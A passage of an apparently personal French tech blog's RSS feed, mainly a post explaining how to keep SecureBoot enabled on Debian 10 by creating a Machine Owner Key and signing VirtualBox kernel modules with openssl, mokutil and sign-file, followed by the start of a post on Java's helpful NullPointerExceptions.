&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;sign-file &quot;${hash_algo}&quot; &quot;${key}&quot; &quot;${x509}&quot; &quot;${module}&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une fois la signature réalisée, vous pourrez vérifier avec la commande &lt;strong&gt;&lt;em&gt;modinfo&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;modinfo vboxdrv&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous devriez voir les propriétés : sig_id, signer, sig_key, sig_algo et signature :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions
sig_id:         PKCS#7
signer:         dali
sig_key:        8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45
sig_hashalgo:   sha256
signature:      8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		CD:3D:41:65:AF:E8:B1:0F:CF:ED:6A:E6:D1:7B:0A:FF
parm:           force_async_tsc:force the asynchronous TSC mode (int)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Chargez vos modules avec la commande &lt;strong&gt;&lt;em&gt;modprobe&lt;/em&gt;&lt;/strong&gt;. Pour rappel, il y en a quatres :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;vboxdrv.ko,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vboxnetadp.ko,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vboxnetflt.ko&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;vboxpci.ko.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les modules se trouvent dans le répertoire :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;/lib/modules/4.19.0-8-amd64/misc&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Là encore, le répertoire est relatif à la version du noyau que vous utilisez.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;installation et la configuration sont terminée. Profites-en !&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;références&quot; class=&quot;sect0&quot;&gt;Références&lt;/h1&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/wiki/Linux_Downloads&quot;&gt;Site VirtualBox - Installation Linux&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;/2020/02/SecureBoot-Signer-ses-modules-et-pourquoi.html&quot;&gt;SecureBoot Signer ses modules et pourquoi ?&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://manpages.debian.org/buster/kmod/modinfo.8.en.html&quot;&gt;Commande modinfo (manpage)&lt;/a&gt; (en)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://manpages.debian.org/buster/kmod/modprobe.8.en.html&quot;&gt;Commande modprobe (manpage)&lt;/a&gt; (en)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>SecureBoot, Signer des modules et pourquoi ?</title>
      <link>https://www.lilian-benoit.fr/2020/02/SecureBoot-Signer-ses-modules-et-pourquoi.html</link>
      <pubDate>sam., 29 févr. 2020 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2020/02/SecureBoot-Signer-ses-modules-et-pourquoi.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel0&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#définitions&quot;&gt;Définitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#génération_du_certificat&quot;&gt;Génération du certificat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#enregister_le_certificat&quot;&gt;Enregister le certificat&lt;/a&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#vérification&quot;&gt;Vérification :&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#signer_les_modules&quot;&gt;Signer les modules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#charger_les_modules&quot;&gt;Charger les modules&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;contexte&quot; class=&quot;sect0&quot;&gt;Contexte&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;ai eu l&amp;#8217;occasion d&amp;#8217;installer Debian sur mon nouveau portable. Vu que Debian 10 prend en charge le démarrage avec UEFI (Unified Extensible Firmware Interface), j&amp;#8217;ai commencé à me renseigner sur son intérêt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je me rappelle que lors de la sortie de l&amp;#8217;UEFI, une vague de protestation s&amp;#8217;était levée contre ce système et la main mise de la part de Microsoft. Cependant, comme le précise le site debian.org, l&amp;#8217;objectif est bien la protection de l&amp;#8217;utilisateur. (SB = SecureBoot)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;quoteblock&quot;&gt;
&lt;blockquote&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;UEFI Secure Boot is not an attempt by Microsoft to lock Linux out of the PC market here; SB is a security measure to protect against malware during early system boot. Microsoft act as a Certification Authority (CA) for SB, and they will sign programs on behalf of other trusted organisations so that their programs will also run. There are certain identification requirements that organisations have to meet here, and code has to be audited for safety. But these are not too difficult to achieve.&lt;/p&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;attribution&quot;&gt;
&amp;#8212; debian.org
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;ai donc décidé d&amp;#8217;installer ma Debian avec UEFI activé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, au delà de l&amp;#8217;installation initiale, j&amp;#8217;ai installé virtualbox pour mon besoin. Et là, les problèmes arrivent car en effet après l&amp;#8217;installation de virtualbox, le lancement ne fonctionne pas et affiche l&amp;#8217;erreur suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;WARNING: The vboxdrv kernel module is not loaded. Either there is no module
         available for the current kernel (4.19.0-8-amd64) or it failed to
         load. Please recompile the kernel module and install it by

           sudo /sbin/vboxconfig

         You will not be able to start VMs until this problem is fixed.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter que des erreurs étaient affichées dans la console lors de l&apos;installation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A ce stade, deux solutions existent :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Désactiver l&apos;UEFI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Signer les modules de virtualbox.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vu que le système de l&apos;UEFI avec le SecureBoot reste intéressant au niveau de la sécurité, j&apos;ai continué à me documenter sur le sujet afin de ne pas désactiver l&apos;UEFI et de revenir à l&apos;ancien mode.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, je me suis interessé sur la deuxième piste, c&apos;est à dire comment faire pour signer les modules et notammment les modules nécessaires pour virtualbox :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;vboxdrv.ko, vboxpci.ko, vboxnetflt.ko, vboxnetadp.ko&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce billet est l&apos;occasion de partager le résultat de mes recherches.&lt;/p&gt;
&lt;/div&gt;
&lt;h1 id=&quot;définitions&quot; class=&quot;sect0&quot;&gt;Définitions&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Commençons par quelques définitions :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;UEFI : Unified Extensible Firmware Interface&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SecureBoot : Mécanisme de vérification permettant de s&apos;assurer que le code lancé par UEFI est approuvé.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shim : Simple programme qui est construit pour prendre en charge le bootloader sur les systèmes UEFI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MOK - Machine Owner Key : L&apos;architecture de shim est que l&apos;utilisateur garde le contrôle. Une base de données de certificat externe a été mis en place. Le certificat de la distribution (ici debian) est inclus dans les binaires de shim. L&apos;utilisateur est capable de gérer ses propres certificats.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mokutil - Utilitaire qui permet à l&apos;utilisateur de gérer les certificats de MOK.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h1 id=&quot;génération_du_certificat&quot; class=&quot;sect0&quot;&gt;Génération du certificat&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons généré un certificat. Vis à vis de la sécurité du système, il doit être placé dans un endroit protégé et sécurisé.
Pour cela, je propose de créer un répertoire au niveau du répertoire home de l&apos;utilisateur root : /root/module-signing&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mkdir /root/module-signing
cd /root/module-signing&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour la génération du certificat, nous allons utiliser l&apos;outil classique &lt;strong&gt;&lt;em&gt;openssl&lt;/em&gt;&lt;/strong&gt;. Nous allons utiliser la commande suivante, cela permet d&apos;avoir notamment le bon format de sortie (DER) :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;openssl req -new -x509 -newkey rsa:2048 -keyout MOK.priv -outform DER -out MOK.der -days 36500 -subj &quot;/CN=dali/&quot; -nodes&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il y a deux points à noter :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le champ CN est libre. Nous pouvons mettre ce que nous voulons.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La durée de validité est de 36 500 jours, soit 100 ans pour être tranquille.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h1 id=&quot;enregister_le_certificat&quot; class=&quot;sect0&quot;&gt;Enregister le certificat&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, il va falloir ajouter le certificat dans la base citée précédemment (MOK). Il sera à coté de celui de la distribution, Debian en l&apos;occurence.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mokutil --import MOK.der&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour vérifier, nous avons utilisé la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mokutil --list-new&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par la suite, il est nécessaire de redémarrer l&apos;ordinateur. Un écran shim s&apos;affichera pour permettre d&apos;importer réellement le certificat. Il sera demandé le mot de passe de la clé privée. D&apos;où l&apos;intérêt de choisir un mot de passe qui est facile à saisir quelque soit le clavier. (Nous sommes en phase de démarrage, donc pas de clavier français chargé)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les étapes seront les suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Affichage de l&apos;écran de Shim, appuyer sur un touche,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisir l&apos;item &quot;Enroll MOK&quot;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Choisir le certificat,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Affichage des informations du certificat sélectionné,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Confirmation de l&apos;enregistrement (enroll) en sélectionnant Yes,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Saisir le mot de passe de la clé privée,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Confirmer avant le redémarrage du système.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vérification&quot;&gt;Vérification :&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous pouvez utiliser la commande suivante après le redémarrage pour vérifier que le certificat est bien présente.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mokutil --list-enrolled&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci-dessous, un exemple en gardant uniquement l&apos;émetteur. Dans mon cas, j&apos;ai bien deux certificats :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;mon certificat&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;certificat de la distribution&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;mokutil --list-enrolled | grep Issuer
        Issuer: CN=dali
        Issuer: CN=Debian Secure Boot CA
                CA Issuers - URI:https://dsa.debian.org/secure-boot-ca&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant que le certificat est en place, nous allons pouvoir signer les modules&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;signer_les_modules&quot; class=&quot;sect0&quot;&gt;Signer les modules&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour signer, il faut exécuter le programme sign-file. L&apos;emplacement est différent suivant la distribution et la version du noyau.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour Debian 10, il se trouve à cet emplacement : /usr/lib/linux-kbuild-4.19/scripts&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La commande a exécuter pour chaque module est la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;/usr/lib/linux-kbuild-4.19/scripts/sign-file ${hash_algo} ${key} ${cert} ${module}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La commande possède quatres arguments :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;hash_algo : Algorithme de hashage. (ex sha256)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;key : Clé privée&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cert : Certificat&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;module : Module concerné&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La clé privée est protégée par un mot de passe, il est nécessaire de définir la variable KBUILD_SIGN_PIN et de la valoriser avec le mot de passe.&lt;/p&gt;
&lt;/div&gt;
&lt;h1 id=&quot;charger_les_modules&quot; class=&quot;sect0&quot;&gt;Charger les modules&lt;/h1&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une fois signée, les modules peuvent être chargés via la commande modprobe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de vérifier que le module est bien signé et par quel certificat. Nous allons utiliser la commande modinfo&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat avant la signature du module :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;modinfo vboxdrv
filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat après la signature du module. Nous avons les propriétés supplémentaires : sig_id, signer, sig_key; sig_hashalgo, signature&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;filename:       /lib/modules/4.19.0-8-amd64/misc/vboxdrv.ko
version:        6.0.18 r136238 (0x00290008)
license:        GPL
description:    Oracle VM VirtualBox Support Driver
author:         Oracle Corporation
srcversion:     43F4A2EEB843DF199ED0E7C
depends:
retpoline:      Y
name:           vboxdrv
vermagic:       4.19.0-8-amd64 SMP mod_unload modversions
sig_id:         PKCS#7
signer:         dali
sig_key:        8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45
sig_hashalgo:   sha256
signature:      8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		8F:05:22:A2:E8:7E:9D:69:7E:19:93:D8:F4:1B:4D:DC:B8:7A:F2:45:
		CD:3D:41:65:AF:E8:B1:0F:CF:ED:6A:E6:D1:7B:0A:FF
parm:           force_async_tsc:force the asynchronous TSC mode (int)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h1 id=&quot;références&quot; class=&quot;sect0&quot;&gt;Références&lt;/h1&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.debian.org/UEFI&quot;&gt;UEFI (en)&lt;/a&gt; - Site debian.org&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.debian.org/SecureBoot&quot;&gt;SecureBoot (en)&lt;/a&gt; - Site debian.org&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.it-connect.fr/debian-10-et-secure-boot-comment-sadapter-au-demarrage-securise/&quot;&gt;Debian 10 et Secure Boot : comment s’adapter au démarrage sécurisé ?&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.delouw.ch/2017/04/18/signing-linux-kernel-kodules-and-enforce-to-load-only-signed-modules/&quot;&gt;Tutoriel pour signer les modules (en)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://unix.stackexchange.com/questions/560895/sign-kernel-modules&quot;&gt;Sign kernel modules (en)&lt;/a&gt; - Site stackexchange.com&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/reillysiemens/ac6bea1e6c7684d62f544bd79b2182a4&quot;&gt;Exemple de scripts pour signer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://manpages.debian.org/buster/openssl/openssl.1ssl.en.html&quot;&gt;Commande openssl (manpage en)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://manpages.debian.org/buster/mokutil/mokutil.1.en.html&quot;&gt;Commande mokutil (manpage en)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 358 Helpful NullPointerExceptions</title>
      <link>https://www.lilian-benoit.fr/2019/10/jep358-helpful-NullPointerExceptions.html</link>
      <pubDate>mar., 29 oct. 2019 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2019/10/jep358-helpful-NullPointerExceptions.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel0&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#mise_en_pratique&quot;&gt;Mise en pratique&lt;/a&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#premier_test&quot;&gt;Premier test&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exemple_plus_concret&quot;&gt;Exemple plus concret&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#lecture_du_message&quot;&gt;Lecture du message&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#précision_sur_le_message&quot;&gt;Précision sur le message&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exemple_avec_les_tableaux&quot;&gt;Exemple avec les tableaux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#activation&quot;&gt;Activation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#approfondissement&quot;&gt;Approfondissement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#comment_tester&quot;&gt;Comment tester ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
